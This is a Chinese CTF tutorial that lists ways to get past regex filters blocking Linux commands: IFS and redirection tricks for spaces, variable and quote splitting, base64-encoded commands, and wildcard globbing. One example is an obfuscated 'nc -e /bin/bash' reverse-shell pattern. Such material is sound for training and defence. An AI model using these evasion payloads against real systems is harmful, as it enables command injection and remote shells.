前言:

做ctf时常常会遇到一些正则匹配将一些linux命令给过滤掉,这里将总结一些针对性的绕过方式。

一、空格绕过:

  {cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

二、敏感字符绕过:

假设过滤了cat

1.利用变量绕过:

ac;b=at;$a$b

2.利用base编码绕过

`echo 'Y2F0Cg==' | base64 -d` test.txt

3.连接符截断绕过:

 c'a't test.txt
c\at test.txt
ca$@t test.txt

三、通配符绕过

?在linux里面可以进行代替一个任意字符:

/???/[l-n]s     可替代ls
/???/c?t test.txt 可替代cat test.txt

*在linux里面可以代替任意个任意字符:

ls *.php 列出当前目录下所有php文件

无字母数字匹配:

如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话.
假如脚本名称为chakdiD且在根目录/etc下,我们可以用:

. /???/???????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。

给一个匹配表:

字符 解释

*

匹配任意长度任意字符

?

匹配任意单个字符

[list]

匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合

[^list]

匹配指定范围外的任意单个字符或字符集合

[!list]

同[^list]

{str1,str2,…}

匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

几个例子:

 /???/[:lower:]s
/?s?/???/[n]c -e /???/b??h
ls {/ru,/tmp}n

字符匹配表参考:https://www.secpulse.com/archives/96374.html

参考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html

linux命令绕过的更多相关文章

  1. 超实用,你get了吗?再也不怕本地文件更新到环境用Linux命令重启服务器了。。。

    来公司这么久,写过不少代码,可是一碰见关于Linux命令操作的马上绕过,每次都是嚷嚷同事过来帮我替换文件,重启服务器,一直害怕接触命令的我一次一次不嫌麻烦,哈哈.有没有醉了?其实我一直都知道操作不难, ...

  2. 用大写字母输入 Linux 命令,实现以 sudo 用户权限运行

    我们知道,一些 Linux 命令是要通过 sudo 权限才能运行的,这需要我们每次使用这些命令时在前面加一个 sudo ,十分繁琐.今天给大家介绍一个好用的工具 SUDO ,它只需要我们用大写字母键入 ...

  3. Linux实战教学笔记04:Linux命令基础

    第四节:Linux命令基础 标签(空格分隔):Linux实战教学笔记 第1章 认识操作环境 root:当前登陆的用户名 @分隔符 chensiqi:主机名 -:当前路径位置 用户的提示符 1.1 Li ...

  4. 像黑客一样使用 Linux 命令行

    前言 之前在博客园看到一篇介绍 IntelliJ IDEA 配置的文章,它里面用的是 gif 动态图片进行展示,我觉得很不错.所以在我今天以及以后的博文中,我也会尽量使用 gif 动图进行展示.制作 ...

  5. 11 个很少人知道但很有用的 Linux 命令

    Linux命令行吸引了大多数Linux爱好者.一个正常的Linux用户一般掌握大约50-60个命令来处理每日的任务.Linux命令和它们的转换对于Linux用户.Shell脚本程序员和管理员来说是最有 ...

  6. Linux命令随笔

    Linux命令总结 man ==命令帮助; help ==命令的帮助(bash的内置命令); ls ==list,查看目录列表; -ld:查看目录权限; -l:(long)长格式显示属性; -F:给不 ...

  7. linux命令在线手册

    下面几个网址有一些 Linux命令的在线手册,而且还是中文的,还可以搜索.非常方便 Linux命令手册 Linux命令大全 Linux中文man在线手册 每日一linux命令

  8. 常用的一些linux命令

    最近接触到一些linux环境部署的事情,下面分享一些最近使用的比较频繁的一些linux命令~ 1.一次性移动多个文件到一个文件夹里 mv  被移动文件名 -t 目标文件夹 如:mv a.txt b.t ...

  9. 测试或运维工作过程中最常用的几个linux命令?

     大家在测试工作过程中,可能会遇到需要你去服务器修改一些配置文件,譬如说某个字段的值是1 则关联老版本,是0则关联新版本,这时候你可能就需要会下vi的命令操作:或者查看session设置的时长,可能需 ...

随机推荐

  1. Spring(五)核心容器 - 注册 Bean、BeanDefinitionRegistry 简介

    目录 前言 正文 1.BeanDefinitionRegistry 简介 2.registerBeanDefinition 方法注册 Bean 最后 前言 上篇文章我们对 BeanDefinition ...

  2. LIBCMTD.lib与libcpmtd冲突的解决方法。

    error: 1>uafxcwd.lib(afxmem.obj) : error LNK2005: "void * __cdecl operator new(unsigned int) ...

  3. HDU_1176_DP

    http://acm.hdu.edu.cn/showproblem.php?pid=1176 简单dp,转换后跟上一题数塔一样,注意每秒只能移动一格,还有在边缘的情况. #include<ios ...

  4. Go语言学习之goroutine

    协程Coroutine 特点 轻量级的"线程" 非抢占式多任务处理,由协程主动交出控制权 编译器/解释器/虚拟机层面的多任务,非操作系统 多个协程可以在一个或多个线程上执行 go关 ...

  5. EMC NW NMM to backup MS AG

    To use EMC NW NMM to backup MS SQL always on database, that is a simple and safe way to protector da ...

  6. 【WPF学习】第四十四章 图画

    通过上一章的学习,Geometry抽象类表示形状或路径.Drawing抽象类扮演了互补的角色,它表示2D图画(Drawing)——换句话说,它包含了显示矢量图像或位图需要的所有信息. 尽管有几类画图类 ...

  7. 用反射、泛型 改造SqlHelper

    1.  数据准备 public class BaseModel { public int Id { set; get; } } public class Company : BaseModel { p ...

  8. [1天搞懂深度学习] 读书笔记 lecture I:Introduction of deep learning

    - 通常机器学习,目的是,找到一个函数,针对任何输入:语音,图片,文字,都能够自动输出正确的结果. - 而我们可以弄一个函数集合,这个集合针对同一个猫的图片的输入,可能有多种输出,比如猫,狗,猴子等, ...

  9. JWT实现token-based会话管理(转)

    JWT实现token-based会话管理   阅读目录 认识JWT demo要点说明 小结 上文<3种web会话管理的方式>介绍了3种会话管理的方式,其中token-based的方式有必要 ...

  10. sublime text安装与使用记录

    一.安装Sublime Text 3 官网 http://www.sublimetext.com/3 进入官网选择所需版本下载 打开ST3,点击菜单 View -> Show Console,会 ...